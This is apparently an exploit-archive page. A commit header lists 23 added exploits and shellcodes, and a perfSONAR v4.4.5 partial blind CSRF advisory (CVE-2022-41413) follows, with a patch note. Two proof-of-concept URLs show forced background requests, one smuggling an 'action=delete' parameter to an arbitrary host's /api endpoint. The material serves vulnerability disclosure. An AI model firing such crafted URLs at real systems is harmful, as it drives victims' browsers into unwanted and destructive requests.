3de26153c8
23 changes to exploits/shellcodes/ghdb ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS) Hughes Satellite Router HX200 v8.3.1.14 - Remote File Inclusion Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated) TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated) GeoVision Camera GV-ADR2701 - Authentication Bypass AD Manager Plus 7122 - Remote Code Execution (RCE) Enlightenment v0.25.3 - Privilege escalation Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE) Apache 2.4.x - Buffer Overflow perfSONAR v4.4.5 - Partial Blind CSRF SugarCRM 12.2.0 - Remote Code Execution (RCE) XCMS v1.83 - Remote Command Execution (RCE) Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS) GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) AimOne Video Converter V2.04 Build 103 - Buffer Overflow (DoS) NetIQ/Microfocus Performance Endpoint v5.1 - remote root/SYSTEM exploit Splashtop 8.71.12001.0 - Unquoted Service Path Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS) FlipRotation v1.0 decoder - Shellcode (146 bytes) Linux/x86 - Polymorphic linux x86 Shellcode (92 Bytes) macOS/x64 - Execve Caesar Cipher String Null-Free Shellcode
23 lines
No EOL
1.1 KiB
Text
23 lines
No EOL
1.1 KiB
Text
Exploit Title: perfSONAR v4.4.5 - Partial Blind CSRF
|
|
Link: https://github.com/perfsonar/
|
|
Affected Versions: v4.x <= v4.4.5
|
|
Vulnerability Type: Partial Blind CSRF
|
|
Discovered by: Ryan Moore
|
|
CVE: CVE-2022-41413
|
|
Summary
|
|
|
|
A partial blind CSRF vulnerability exists in perfSONAR v4.x <= v4.4.5 within the /perfsonar-graphs/ test results page. Parameters and values can be injected/passed via the URL parameter, forcing the client to connect unknowingly in the background to other sites via transparent XMLHTTPRequests. This partial blind CSRF bypasses the built-in whitelisting function in perfSONAR.
|
|
|
|
This vulnerability was patched in perfSONAR v4.4.6.
|
|
Proof of Concept
|
|
Examples
|
|
|
|
Here are two examples of this vulnerability. For further details, review the Technical Overview section below.
|
|
Example 1:
|
|
|
|
Client browser connects to www.google.com in the background.
|
|
http://192.168.68.145/perfsonar-graphs/?source=1&dest=2&url=https://www.google.com
|
|
Example 2:
|
|
|
|
Client browser connects to arbitrary IP and port in the background, passing delete parameter to /api endpoint.
|
|
http://192.168.68.145/perfsonar-graphs/?source=8.8.8.8&dest=%26action%3Ddelete&url=http://192.168.68.113:4444/api |